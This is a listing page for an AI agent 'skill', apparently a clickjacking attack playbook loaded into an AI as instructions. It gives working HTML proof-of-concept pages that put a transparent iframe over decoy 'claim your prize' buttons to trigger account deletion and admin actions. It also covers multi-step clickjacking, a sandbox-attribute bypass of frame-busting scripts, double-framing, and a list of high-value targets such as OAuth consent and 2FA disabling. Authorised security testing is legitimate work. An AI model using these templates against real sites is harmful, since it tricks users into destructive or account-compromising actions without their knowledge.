SKILL: Clickjacking — Expert Attack Playbook

SkillDev tools

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

Available today. Use it from your connected AI after setup.

No other account needed.

Connect ahel once, and every AI you use reads what you have installed.

Then ask your AI: use the SKILL: Clickjacking — Expert Attack Playbook skill

What this skill tells your AI

The instructions your AI receives, as published by langbyyi/cyberstrikeai-src in skills/clickjacking/SKILL.md and read by ahel’s review.

AI LOAD INSTRUCTION: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.

QUICK START

First-pass probes

Signal	Probe	Why
Sensitive action page?	List pages with state-changing actions (delete, transfer, role change)	High-value clickjacking targets
X-Frame-Options present?	Check response headers for XFO: DENY / SAMEORIGIN / absent	Absent or misconfigured = frameable
CSP frame-ancestors present?	Check for `frame-ancestors 'none'` / `'self'` / absent	Supersedes XFO in modern browsers
Load in iframe?	Create `<iframe src="https://target/sensitive-action">`	Page loads = frameable = vulnerable
Frameable?	Build transparent iframe PoC with decoy button	Confirms exploitable clickjacking

# Quick test — check framing headers
curl -sI https://target/account/delete | grep -i "x-frame-options\|content-security-policy"

1. CORE CONCEPT

Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.

<style>
  iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
  .decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>

2. DETECTION — IS THE PAGE FRAMEABLE?

Check X-Frame-Options Header

X-Frame-Options: DENY           → cannot be framed (secure)
X-Frame-Options: SAMEORIGIN     → only same-origin framing (secure for cross-origin)
X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
(header absent)                  → frameable! (vulnerable)

Check CSP frame-ancestors

Content-Security-Policy: frame-ancestors 'none'        → cannot be framed
Content-Security-Policy: frame-ancestors 'self'         → same-origin only
Content-Security-Policy: frame-ancestors https://a.com  → specific origin
(directive absent)                                       → frameable

CSP frame-ancestors supersedes X-Frame-Options in modern browsers.

Quick PoC Test

<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>

If the page loads in the iframe → frameable → potentially vulnerable.

JavaScript Frame Detection (from target page source)

// Common frame-busting code found in target pages:
if (top.location.hostname !== self.location.hostname) {
    top.location.href = self.location.href;
}

If this code is present but not using CSP frame-ancestors, it can often be bypassed.

3. PROOF OF CONCEPT TEMPLATES

Basic Single-Click

<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
  iframe { position: absolute; top: 300px; left: 60px;
           width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>

Multi-Step Clickjacking

For actions requiring multiple clicks (e.g., "Are you sure?" confirmation):

<div id="step1">
  <button onclick="document.getElementById('step1').style.display='none';
                    document.getElementById('step2').style.display='block';">
    Step 1: Click here
  </button>
</div>
<div id="step2" style="display:none">
  <button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>

Reposition iframe for each step to align the transparent button with the decoy.

Drag-and-Drop Clickjacking

Extract data from one iframe to another using HTML5 drag-and-drop events — the victim drags across invisible iframes, transferring tokens or data.

4. BYPASS TECHNIQUES

Frame-Busting Script Bypass

Some pages use JavaScript frame-busting:

if (top !== self) { top.location = self.location; }

Bypass with sandbox attribute:

<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- sandbox without allow-top-navigation prevents frame-busting -->

X-Frame-Options ALLOW-FROM Bypass

ALLOW-FROM is not supported in Chrome/Safari. If the server relies solely on ALLOW-FROM, modern browsers ignore it → page is frameable.

Double-Framing

If X-Frame-Options: SAMEORIGIN is set, but a same-origin page exists that can be framed (without XFO), use that page as an intermediary to frame the target.

5. HIGH-IMPACT TARGETS

Account deletion page
Email/password change form
Admin panel actions (add user, change role)
Payment confirmation
OAuth authorization ("Allow" button)
Two-factor authentication disable
API key generation
Webhook configuration

DECISION TREE

Page has sensitive action (delete account, change email, admin)?
├── X-Frame-Options header present?
│   ├── DENY or SAMEORIGIN → cannot frame cross-origin (check CSP too)
│   └── Missing or ALLOW-FROM → frameable
├── CSP frame-ancestors directive present?
│   ├── 'none' or 'self' → cannot frame cross-origin
│   └── Missing → frameable
├── Page loads in iframe?
│   ├── No → frame-busting script detected?
│   │   ├── Yes → try sandbox="allow-forms allow-scripts" bypass
│   │   └── No → XFO/CSP blocks framing → not vulnerable
│   └── Yes → framing allowed
│       ├── Single-click action → build basic transparent iframe PoC
│       ├── Multi-step action → build multi-click PoC with repositioned iframe
│       └── Data to extract → drag-and-drop clickjacking PoC
└── Not frameable but subdomain has XSS?
    └── Use subdomain XSS as same-origin staging point

TARGET TOOL ADAPTATION

Use visible http-framework-test to compare framing headers across endpoints. Build a minimal local iframe PoC with visible file/command tools; browser verification is optional and only applies when a browser capability is actually visible.

TESTING CHECKLIST

□ Check X-Frame-Options header on sensitive pages
□ Check CSP frame-ancestors directive
□ Create iframe PoC and verify page loads
□ Test frame-busting scripts — try sandbox attribute bypass
□ Identify high-value single-click actions
□ For multi-step actions, build multi-click PoC
□ Test both authenticated and unauthenticated pages
□ Verify ALLOW-FROM behavior across browsers

RELATED ROUTING

csrf — CSRF and clickjacking both exploit victim browser sessions
xss — XSS can inject iframe content and chain with clickjacking
cors — CORS misconfiguration can complement framing attacks
authbypass — Auth bypass determines which actions are exploitable

Signals

GitHub stars: 115
Forks: 4
Last commit: Sep 2026

Advanced

Catalog kind: skill
Gateway key: clickjacking
Source: github.com/langbyyi/cyberstrikeai-src

github.com/langbyyi/cyberstrikeai-src

More in Dev tools

benchmark
Skill · affaan-m article-writing
Skill · affaan-m hookify-rules
Skill · affaan-m ponytail-audit
Skill · dietrichgebert ponytail-debt
Skill · dietrichgebert ponytail-gain
Skill · dietrichgebert